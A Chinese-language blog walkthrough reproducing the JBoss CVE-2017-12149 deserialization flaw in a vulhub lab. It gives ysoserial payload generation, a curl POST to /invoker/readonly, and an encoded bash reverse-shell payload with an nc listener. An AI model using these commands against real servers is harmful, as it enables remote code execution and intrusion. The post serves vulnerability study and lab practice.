JBoss 反序列化漏洞 CVE-2017-12149
影响范围
- JBoss AS 5.x - JBoss AS 6.1.0.Final
漏洞类型
Java 反序列化
操作系统限制
无
配置要求
- http-invoker.sar 必须处于部署状态
- ReadOnlyAccessFilter 过滤器映射
漏洞利用
命令执行,反弹 shell
利用原理
在 JBoss AS 5.x 或 6.x 中,引入名为 ReadOnlyAccessFilter 过滤器,其默认映射路径为/invoker/readonly,该路径在默认配置下无需身份验证就可访问,该过滤器处理客户端发送的 POST 请求数据时,直接获取请求体的输入流调用 readObject () 方法进行反序列化操作。在还原对象过程中,系统未对传入二进制流进行安全过滤、字节码校验或白名单限制,攻击者可以构造恶意序列化对象,恶意二进制数据通过 HTTP 请求发送到靶机,JBoss 在解析对象时,自动触发对象内部嵌套的恶意代码,执行恶意命令
漏洞复现
现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

访问 http://靶机 ip:8080/invoker/readonly,返回 500,说明存在漏洞

下载攻击工具并检查是否有 Java 环境
1 | wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar |

使用 ysoserial 生成序列化数据
1 | java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.ser |

发送恶意 payload
1 | curl -X POST http://靶机ip:8080/invoker/readonly --data-binary @payload.ser |

进入容器 tmp 目录,发现 success,说明成功执行命令

下面进行反弹 shell,开启 nc 监听端口

执行命令替换为反弹 shell 执行命令
1 | java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.ser |

发送恶意 payload
1 | curl -X POST http://靶机ip:8080/invoker/readonly --data-binary @payload.ser |

成功连接

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论